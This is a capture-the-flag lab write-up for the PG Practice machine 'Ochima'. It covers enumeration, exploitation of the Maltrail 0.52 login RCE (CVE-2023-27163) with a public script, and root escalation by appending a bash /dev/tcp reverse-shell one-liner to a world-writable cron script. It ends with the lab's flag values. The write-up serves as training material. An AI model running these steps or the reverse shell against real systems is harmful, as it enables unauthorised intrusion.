Ochima_writeup

Author: Hans
Platform: PG Practice
Difficulty: N/A
Operating System: Linux


Summary

Ochima runs Maltrail 0.52 on port 8338, vulnerable to an unauthenticated RCE (CVE-2023-27163) via the login endpoint's username field. A public exploit script was used to get a reverse shell as snort. Privilege escalation abused a world-writable, root-owned cron script (etc_Backup.sh) — appending a reverse shell one-liner to it caught a root shell on the next cron run.


Service Enumeration

Nmap

nmap -sCV -p- -oN scans/tcpall.nmap $IP
nmap -sCV -oN scans/tcp1000.nmap $IP
sudo nmap -sU --top-ports 20 -oN scans/udp.nmap $IP

Open ports: 22 (OpenSSH 8.9p1 Ubuntu), 80 (Apache 2.4.52, default Ubuntu page), 8338 (Python http.server, Maltrail 0.52). UDP scan returned only open|filtered results, nothing confirmed open.

Web (80)

Default Apache/Ubuntu landing page, nothing further of interest:

feroxbuster -u http://$IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o scans/ferox80.md
ffuf -u http://$IP -H "Host: FUZZ.domain" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -o scans/ffuf80.html -of html

Web (8338) - Maltrail

Main page:

feroxbuster -u http://$IP:8338 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -o scans/ferox8338.md
grep -E '^[0-9]{3}\s+GET' scans/ferox8338.md | awk '{print $6}'

Found endpoints included /login, /events, /counts, /whoami, /ping, matching Maltrail's known structure. This version (0.52) is vulnerable to CVE-2023-27163, an unauthenticated RCE via the username field on /login. A public exploit script (github.com/joshchalabi/Maltrail-0.52-Exploit-RCE) injects a base64-encoded Python reverse shell into that field.


Initial Access - Maltrail Unauthenticated RCE (CVE-2023-27163)

./exploit.sh http://192.168.198.32:8338 192.168.45.232 80

The script waits for a listener before firing:

Shell caught after starting the listener:

The resulting shell was the snort user. local.txt found in the home directory:

cd ~
whoami && hostname && cat local.txt


Privilege Escalation - World-Writable Root Cron Script

Manual low-hanging-fruit checks (sudo -l, cron, SUID binaries, listening services, /etc/passwd, home directory) turned up an interesting file while checking /var/backups:

ls -al /var/www/ /opt/ /var/backups/
-rwxrwxrwx  1 root root     54 Dec 11  2023 etc_Backup.sh

etc_Backup.sh is owned by root but world-writable, meaning any user can modify a script that root will eventually execute (via cron, based on timing observed). Appended a reverse shell one-liner:

/bin/bash -i >& /dev/tcp/192.168.45.232/80 0>&1

The cron appeared to run every 2-3 minutes. After waiting:

nc -lvnp 80

proof.txt found under /root:

whoami && hostname && cat /root/proof.txt


Flags

Flag Value
local.txt 1d3aebe5388eed226a2881e666ba6049
proof.txt 7c6c4157ee334bf1b206f88a8a66f9c2